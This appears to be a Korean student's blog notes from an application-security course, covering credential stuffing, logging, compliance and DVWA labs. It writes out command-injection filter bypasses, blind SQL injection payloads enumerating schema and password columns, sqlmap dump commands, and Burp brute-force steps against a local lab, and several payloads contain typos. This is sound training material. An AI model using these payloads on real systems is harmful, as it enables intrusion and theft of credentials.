SK shieldus Rookies 9기/애플리케이션 보안

애플리케이션 보안 수업 6일차 (22/09/13)

ksh_5 2022. 9. 13. 10:26
  • Credential Stuffing

 

- 여러 군데 회원가입하니 ID/PW 동일

- 약한 사이트 해킹(WebShell, RAT 업로드, WebDAV 업로드, SQL 인젝션 등)해서 고객 DB 확보

- 다른 사이트에 삽입(금융권, 포털, SNS 등)

- 2021년 통계에 의하면 가장 심각한 해킹 유형

- 대응 방법 : 사이트마다 PW 다르게 저장

- 정기적 PW 교체

 

 

  • 계정 털리는 원인

 

- 취약한 본인 절차

- 쉬운 패스워드

- 패스워드 변경 시도 (SQL 인젝션 등)

- 특히, 포털사이트 PW는 다른 것 사용 , 금융권은 더 강력한 PW 사용

 

 

  • 무결성(Integrity)

 

 

  • 해시값

 

- 특징 : 원문이 1bit라도 달라질 시 다른 해시값 결과 나옴 → 변조되었는지 알 수 있음

 

 

 

  • A09 로깅과 모니터링

 

ex) 게임회사 서버 : 회사에 800대 + 클라우드에 5000대 → 6000대에서 나오는 로그 양 엄청남

ex) 쇼핑몰 서버 : 수백~수천 대 트래픽 양 엄청남

 

 

  • 보안 관제 비용

- 로그 보는 비용 높음

ex) 24시간 교대근무 : 주/야/비/비 → 최소 5명 이상 → 취업 쉽고, 실전 경험 쌓기 가능

 

 

  • 컴플라이언스(Compliance)

- 법과 규제

- 지켰을 때 비용 : 컨설팅, 아웃소싱, 구입비, 인증심사, 예상치 못한 비용 등

- 지키지 않았을 때 비용 : 벌금, 과태료, 집단민사소송, 해커들의 돈 요구, 기업 이미지 손상 등

 

 

  • GDPR (유럽의 개인정보보호 규정)

 

- 법은 아니지만 EU국가들에게 공통 적용

- Global 기업들이 약한 법 가진 나라에 본사 건설 후 다른 곳에서 돈을 버는 행태

- EU가입국가에 공통적 법 적용

- 전세계 매출 합계에서 4% 벌금 or 과징금

 

 

  • 구글세

 

- 순익은 조작 가능하므로 매출 대비 세금 내라는 법 (우리나라 유일)

 

 

  • 로깅과 모니터링 대응 방법

 

- 로그 적절히 생성, 의심 행위 파악 도구 설치

 

 

  • Android는 리눅스 기반 / iPhone의 iOS는 유닉스 기반

 

- 리눅스나 유닉스는 대체로 /var/log/ 아래 로그있음

- 스마트폰이 해킹당하는 유형 : 악성 앱 설치 경우 or 이상한 링크 클릭해 피싱사이트 방문 경우

 

 

  • A10 SSRF

 

- 서버 쪽의 조작된 요청

- ACL (접근 통제 목록, Access Control List) : 패킷들이 들어오는 것을 허용 / 거부

 

 

DVWA  Command Injection 실습)

- 리눅스 명령어를 실행시키는 것이 목적 (리눅스 명령어 : pwd, ls, who, 등)

- 동작 방식 : ($ ping)는 보이지 않지만, IP 주소 넣으면 ping 명령 동작

 

Q. Ping 실행하는 사이트에서 리눅스 명령어 실행 가능?

더보기

A.

① Low

⑴ ($ ping) 192.168.5.2 && pwd   // ex) make && make install → make 끝내고 make install 하란 의미

&& pwd                                       // IP 주소 사용하지 않고 && pwd 하면 실행되지 않음

→ &&는 앞 명령어 실패 시, 뒷 명령어 안 함 (앞 명령 성공 시 수행)

 

⑵ ($ ping) 192.168.5.2; pwd

; pwd                               // ; (세미콜론) 특징 : 앞 명령 결과가 뒷 명령에 영향X (별개로 동작)

 

② Medium

View Source 보면 &&와 ; 을 Null로 치환하고 있음

192.168.5.2 | whoami          // | 사용 시 앞이 조건, 뒤는 명령문  → whoami 결과만 나옴

| whoami                              // ping 명령 실행되지 않았지만 뒤 명령어에 영향X

192.168.5.2 &&& ls -l  /       // &&는 Null로 치환되고 하나 남음 → &는 앞 뒤 명령이 따로 실행

&&& ls -l /usr/share

&&& ls -l /var/log                   // 로그 디렉터리 확인

& ls -l /var/log/apt                // &&를 Null로 치환하고 실행되기 때문에 하나만 정상 동작

192.168.5.2 || w                   // ping 명령 정상 실행, w 결과 실행 안됨 → ||는 또는(or) 의미로 앞 명령 참일 시 뒷 명령 실행X

 

③ High

치환 방법은 딱 1번 적용 후 통과

|| whoami → | whoami            // |와 공백이 묶여 치환되고 있음

|pwd                                        // | 뒤 명령어 붙여 쓰면 치환 못함

|||| pwd                                   // || Null, | 공백도 Null로 치환 → | 한 개 남음

|||| pwd                                   // || = Null로 치환되므로 ping pwd로 나옴(실행X)

 

 

  • Command Injection

 

- IoT 기기에서 주로 많이 발생

- IoT 기기 : IP camera, CCTV, Webcam, 라즈베리파이, IP 공유기, 등

- IoT 운영체제 : 리눅스를 Customized한 필요한 부분만 최소화해 사용

-원격에서 리눅스 명령 사용 시 원격 조종 (RCE : Remote Command Execution, 원격 명령 실행)

- 미라이 악성코드 (Miral Malware : 미래) → IoT 감염시켜 DDos 공격

 

 

  • Blind SQL Injection

 

- SQL에 대해 잘 모르는 상태에서 DB명, Table명, Column명 등 알아내려 시도

- 번호 넣으면 있는 경우 esist, 없을 경우 missing

- substring() : 단어의 알파벳에 대한 정보 확인 가능

- information_schema.columns(DB명.테이블명) 에서 table_schema (DB명 저장한 컬럼)

 

 

실습) mysql에 들어가 어떻게 되어있는지 확인하기

$ sudo ls

$ sudo mysql -u root -p (pw : ubuntu)

mysql > use information_schema;

mysql > desc columns;                                                 // columns 테이블 구조 보기

             → table_schema 컬럼 안 DB 이름 존재

 

 

mysql > select table_schema from columns;

          → columns테이블에서 table_schenma 내용 확인

mysql > select distinct table_schema from columns;    // distinct 넣으면 중복 결과값 제거

          → 결과는 DB이름으로 모두 볼 수 있으나, information_schema(메타값)와 관련된 값은 볼 필요X(사용자가 생성한 일반 DB 찾아야 함)

 

※ 고객  DB 훔칠 시 DB 이름을 알아야 하는데 DB 정보는 information_schema에 있으므로 여길 확인

   → 고객 DB는 information_schema, mysql, sys가 아닌 다른 이름을 가질 확률이 높음

 

  •  ~가 아닌 것은 ! 붙이기

 

select distinct table_schema from information_schma.columns where table_schema!='information_schma' Limit 0,1

Limit 0,10부터 시작하므로 첫 번째 1개

substring(superman, 1,1) - s          // 1번째 글자부터 1개

substring(superman, 3,1) - p         // 3번째 글자부터 1개

substring(superman, 5,2) - rm       // 3번째 글자부터 1개

 

 

Q. 첫번째 글자 알아내려면?

더보기

A.

1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1),1,1) = 'a' # 

→  Missing (아니라함)

 

1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1),1,1) = 'd' # 

→ exist (맞다함) : 첫 번째 글자 d

 

Q. 두번째 글자 알아내려면?

더보기

A. 1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1),2,1) = 'v' #

 

Q. 세번째 글자 알아내려면?

더보기

A. 1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1),3,1) = 'w' #

 

Q. 한 번에 알아내려면?

더보기

A. 1' and substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1),1,4) = 'dvwa' # 
→ dvwa란 DB명 확인

 

Q. DB 이름 길이 확인

더보기

A. 1' and length(databes()=4 #

 

Q. 테이블 이름 확인

    (테이블 이름 : table_name  ,  DB 이름 : table_schema)

더보기

A.

1' and substring((select distinct table_name from information_schema.columnns where table_schema='dvwa' limit 0,1)1,1) = 'g' #

1' and substring((select distinct table_name from information_schema.columnns where table_schema='dvwa' limit 0,1)2,1) = 'u' #

1' and substring((select distinct table_name from information_schema.columnns where table_schema='dvwa' limit 0,1)3,1) = 'e' #

...

→ guestbook (첫번째 줄)

 

1' and substring((select distinct table_name from information_schema.columnns where table_schema='dvwa' limit 1,1)1,1) = 'u' #

1' and substring((select distinct table_name from information_schema.columnns where table_schema='dvwa' limit 1,1)2,1) = 's' #

1' and substring((select distinct table_name from information_schema.columnns where table_schema='dvwa' limit 1,1)3,1) = 'e' #

→ 두번째 줄

 

Q. 한 번에 알아내려면?

더보기

A.

1' and substring((select distinct table_name from information_schema.columns where table_schema!='information_schema' Limit 1,1),1,5) = 'users' #

→ users란 테이블 확인

 

1' and substring((select distinct table_name from information_schema.tables where table_schema!='information_schema' Limit 1,1),1,5) = 'users' #

→ tables란 테이블에서도 확인 가능

 

Q. 컬럼이름을 알아내는 select문 참고하여 어떤 컬럼이 있는지

더보기

A.

1' and substring((select column_name from information_schema.columns where table_name='users' limit 5,1)1,1) = 'p' #

 

1' and substring((select column_name from information_schema.columns where table_name='users' limit 5,1)1,8) = 'password' #

→ 6번째는 passsword

 

1' and substring((select column_name from information_schema.columns where table_name='users' limit 6,1)1,1) = 'u' #

 

1' and substring((select column_name from information_schema.columns where table_name='users' limit 6,1)1,4) = 'user' #

→ 7번째는 user

 

Q.  자동화된 도구 사용

더보기

A. 

$ sudo sqlmap -h                                   // -h : help

    -u : url 사용 시

    --cookie : cookie 값 입력

    --tables : 테이블 목록 알고 싶을 때

    --columns : 컬럼 목록 알고 싶을 때

    --dump : 메모리에서 값 확인

    - D : DB명

    - T : table명

    - C : column명

 

 

  • SQLmap 문법

- sqlmap -u "URL" --cookie="쿠키값"

1) 주소 표시줄 url 복사 : http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#

2) 쿠키 값 : 주소 표시줄에  javascript:documnet.cookie : 내 쿠키값 ex) security=low; PHPSESSID=5rbbk2-rihqps7n1bcmai37s7h

 

더보기

① DB 이름 알아내기

$ sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#" --cookie="내 쿠키값" --dbs

→ dvwa, information_schema, performance_schema 확인

 

② Table 이름 알아내기

$ sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#" --cookie="내 쿠키값" -D dvwa --tables

 

③ Column  이름 알아내기

$  sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#" --cookie="내 쿠키값" -D dvwa -T user --columns

 

④ user, password의 값 알아내기

$ sudo sqlmap -u "http://192.168.5.128/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#" --cookie="내 쿠키값" -D dvwa -T user -C user,password --dump

 

 

  • Brute Force Attack

 

- Brute (무식한)

- 전수 대입법 : 가능한 모든 경우의 수 대입

   ex) 숫자 4자리 : 0000 ~ 9999  , 알파벳 4자리 : AAAA ~ zzzz

- 장점 : 무조건 결과 나옴 (성공 확률 99%)

- 단점 : 시간 오래 걸림

- 대응 방법 : 시간이 엄청 오래 걸리게 하기 (ex) 인간 수명보다 길게)

                    → 길고 복잡하게 만듦

 

 

  • Dictionary Attack

 

- Brute Force Attack이 시간이 많이 걸려 자주 사용하는 pw 대입하는 방법

- Dictionary : 자주 사용하는 단어를 모아놓은 파일

 

 

DVWA Brute Force 실습)

- Burp Suite  >  인터넷 옵션 proxy 설정  >  intercept off

   >  pablo/abcde 삽입 (pw 아무거나) = 틀림  >  burp suite 안 http history 클릭

   >  GET 요청  >  마우스 오른쪽 버튼 클릭  >  Send to Intruder 클릭

   >  burp suite Intruder 메뉴 클릭  >  positions 탭에서 pw 입력값인 abcde 제외하고 나머지 블럭설정 후 clear

   >  payloads 탭에서 simplelist 방식, load 버튼 클릭 후 password.txt 파일 선택  >  Start Attack 클릭